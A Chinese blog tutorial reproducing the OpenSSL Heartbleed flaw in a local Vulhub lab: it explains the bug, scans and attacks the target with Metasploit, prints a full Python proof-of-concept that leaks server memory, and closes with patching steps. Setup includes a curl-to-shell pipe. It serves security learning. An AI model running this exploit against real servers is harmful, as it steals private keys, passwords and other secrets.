渗透测试-Openssl心脏出血漏洞复现

心脏滴血

早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞。在黑客社区,它被命名为“心脏出血”,表明网络上出现了“致命内伤”。利用该漏洞,黑客可以获取约30%的https开头网址的用户登录账号密码,其中包括购物、网银、社交、门户等类型的知名网站。

漏洞简介

OpenSSL“心脏出血”漏洞(CVE-2014-0160)是一个非常严重的问题。这个漏洞使攻击者能够从内存中读取多达64 KB的数据。也就是说,只要有这个漏洞的存在,在无需任何特权信息或身份验证的环境下,我们就可以从我们自己的(测试机上)偷来 X.509证书的私钥、用户名与密码、聊天工具的消息、电子邮件以及重要的商业文档和通信等数据。

最初人们为了网络通信安全,就开始使用安全协议进行加密通信,SSL(Secure Socket Layer)就是一种安全协议。随着开源软件的流行,有人写了一款叫 OpenSSL 的开源程序供大家方便地对通信进行SSL加密,后来这款软件便在互联网中被广泛应用。

OpenSSL 有一个叫 Heartbeat (心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏出血”的直接原因。所谓心跳检测,就是建立一个 Client Hello 问询来检测对方服务器是不是正常在线 ,服务器发回 Server hello,表明正常树立SSL通讯。就像我们打电话时会问对方 “喂听得到吗?”一样。

每次问询都会附加一个问询的字符长度 pad length。bug 来了,如果这个 pad length 大于实际的长度,服务器仍会回来相同规模的字符信息,于是形成了内存里信息的越界访问。就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露 64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密秘钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用 “心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息,就像是心脏慢慢在出血,心脏出血漏洞的名字由此而来。
在这里插入图片描述
由于互联网应用最广泛的安全传输方法就是 SSL,而 Open SSL 又是多数 SSL 加密网站使用的开源软件包,所以漏洞影响范围广大,一时间席卷全球各个互联网相关领域,网银、在线支付、电商网站、门户网站、电子邮件等无一幸免。

漏洞分析

OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。

当B收到A的请求包后,并没有的验证A包的实际长度,而是简单的把请求包data中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包数据实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B的它的长度是65535,那么B接受到这个包后就会把A的内容完全当作65535来处理,其实到这里,问题还并不严重,最严重的问题出在,心跳的响应包还需要附带请求包的全部内容这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作

这下就出大问题了,当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里,并将这个响应包发还给了A,于是A便轻易地获得了B内存中这65534个字节的数据。想象一下,如果这65534个字节数据中包括一些敏感信息,那么后果将非常严重。而且A还可以简单地通过连续的发送心跳包,获取B机器内存中n个65534字节的数据,这个漏洞不愧是2014年“最佳漏洞”。

现实是残酷的,据说的确已经有很多用户的敏感信息通过这种方式泄漏了。作为一个应用如此广泛和重要的开源库,出现这种低级的问题实在是让人不能理解,不禁又让人联想起了------阴谋!

Vulhub

下文我将基于Vulhub中搭建靶场环境,故先介绍下Vulhub。Vulhub 是一个基于 docker 和 docker-compose 的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。关于Docker技术,可通过另一篇博文进行学习:渗透测试-Docker容器

Vulhub 的特点

  1. 完全开源,几乎不使用非官方的二进制文件、镜像;
  2. 百分之95以上的环境是从 docker 基础镜像编译而来,你可以看到每一个环境是怎样建造的;
  3. 所有漏洞靶场均包含漏洞原理、参考链接、复现过程,真正做到完整地了解每一个漏洞;
  4. 使用 docker-compose 编排容器,更贴近生产环境实际情况;
  5. 由一线安全从业者长期维护,能做到在漏洞爆发的短期内获得靶场。

对于漏洞学习者、安全工作者来说,Vulhub 都是一个非常有力的辅助工具,安全从业者可以在漏洞爆发的第一时间,搭建环境并复现漏洞,熟悉近些年热门的安全漏洞原理,更好地维护企业安全,在安全内、外部培训中作为案例来学习与使用。

Vulhub 的安装与使用

关于 Vulhub 的介绍、安装与漏洞利用教程,官方给出了教程:Vulub官方教程,漏洞复现教程如图:
在这里插入图片描述下面我使用 Ubuntu 虚拟机安装 Docker 环境和搭建 Vulhub 靶场:

1、安装docker:
   apt-get install -y docker.io
2、安装docker-compose:
   pip install docker-compose
3、配置 docker 加速器(提高容器下载速度):
   curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io
3、下载vulhub漏洞目录:
   git clone https://github.com/vulhub/vulhub.git
4、进入想要复现的漏洞对应文件夹:
   cd ~/vulhub/struts2/s2-048/
5、以root身份执行以下命令开始运行漏洞容器:
   docker-compose up -d

下面简单实操演示一下 Vulhub 靶场环境的使用:

1、下载完 Vulhub 在本地可看到以下目录:
在这里插入图片描述2、进入 struts2 文件夹,里头包含了中、英文版本的漏洞利用教程说明文档、截图(与官网一致),以及用于自动构造对应漏洞镜像的 docker-compose.yml 配置文件:
在这里插入图片描述
3、在对应漏洞的目录下打开终端,以 root 身份运行以下命令开始运行漏洞容器:
在这里插入图片描述
4、成功 pull 镜像并运行容器后,可按照复现教程访问靶场地址并开始实验:
在这里插入图片描述
5、以上漏洞环境就这样一键搭建成功,节省了一大把时间,可更专注于漏洞研究,漏洞环境使用完成记得使用以下命令进行关闭哦:
在这里插入图片描述

漏洞复现

下面基于 Vulhub 靶场环境复现OpenSSL“心脏滴血”漏洞,实验环境如下:

主机IP用途
Ubuntu 虚拟机172.31.1.135基于 Vulhub 搭建OpenSSL“心脏滴血”漏洞环境
Kali Linux 虚拟机172.31.3.198使用 MSF 框架对存在漏洞的靶机进行攻击

靶场搭建

上面已经介绍了,基于 Vulhub 搭建OpenSSL“心脏滴血”漏洞环境,很简单:

1、进入Ubuntu虚拟机对应的漏洞文件夹路径下,执行以下命令即可:
在这里插入图片描述2、等待下载漏洞镜像环境并启动容器结束:
在这里插入图片描述

漏洞检测

以上靶场环境启动成功后,使用局域网内的 Kali 攻击机运行 nmap 漏洞扫描脚本对靶机进行漏洞检测:
在这里插入图片描述

MSF攻击

Vulnhub官方给出了复现教程:基于Python脚本的POC。但此处演示下使用 Kali 的 MSF 框架进行攻击:

1、执行命令 msfconsole 运行 MSF 框架:
在这里插入图片描述
2、使用search heartbleed查找攻击模块:
在这里插入图片描述3、执行命令use auxiliary/scanner/ssl/openssl_heartbleed选择第一个攻击模块,然后使用show options查看需要设置的参数:
在这里插入图片描述4、设置对应的主机、端口参数:
在这里插入图片描述
5、最后运行run命令,可以看到 靶机的64KB信息(如果有人此时在登录web应用,还可以直接抓到账号密码等信息):
在这里插入图片描述部分信息如下:
在这里插入图片描述至此,利用 Kali 的 MSF 框架对 OpenSSL“心脏滴血”漏洞 的靶机攻击成功结束。

官方复现

最后,来看看Vulnhub官方给出的复现教程:
在这里插入图片描述
那就直接在靶机上运行 Python 脚本发送 POC 试试:
在这里插入图片描述脚本代码如下(代码分析可参考:心脏滴血HeartBleed漏洞研究及其POC):

#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

实验完毕,关闭实验容器环境(也可进一步继续删除本地漏洞镜像来节省空间):
在这里插入图片描述

修复方案

OpenSSL“心脏出血”漏洞(CVE-2014-0160)受影响的OpenSSL版本:

  • OpenSSL 1.0.2-beta
  • OpenSSL 1.0.1 - OpenSSL 1.0.1f

要解决此漏洞,简单粗暴的方法就是升级openssl软件。建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。

Centos 主机修复方法参考:

1、使用如下的命令查看服务器上的当前版本:
[root@master ~]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013

2、升级opensll包:
[root@localhost ~]# yum update openssl

3、或者卸载后使用yum方法安装:
yum search openssl
yum install openssl     
/etc/init.d/nginx restart   #然后重启nginx

最后,附上OpenSSL“心脏出血”漏洞(CVE-2014-0160)的在线检测网站:heartbleed test,输入待测站点的网站和端口即可进行检测:
在这里插入图片描述

  • 13
    点赞
  • 80
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值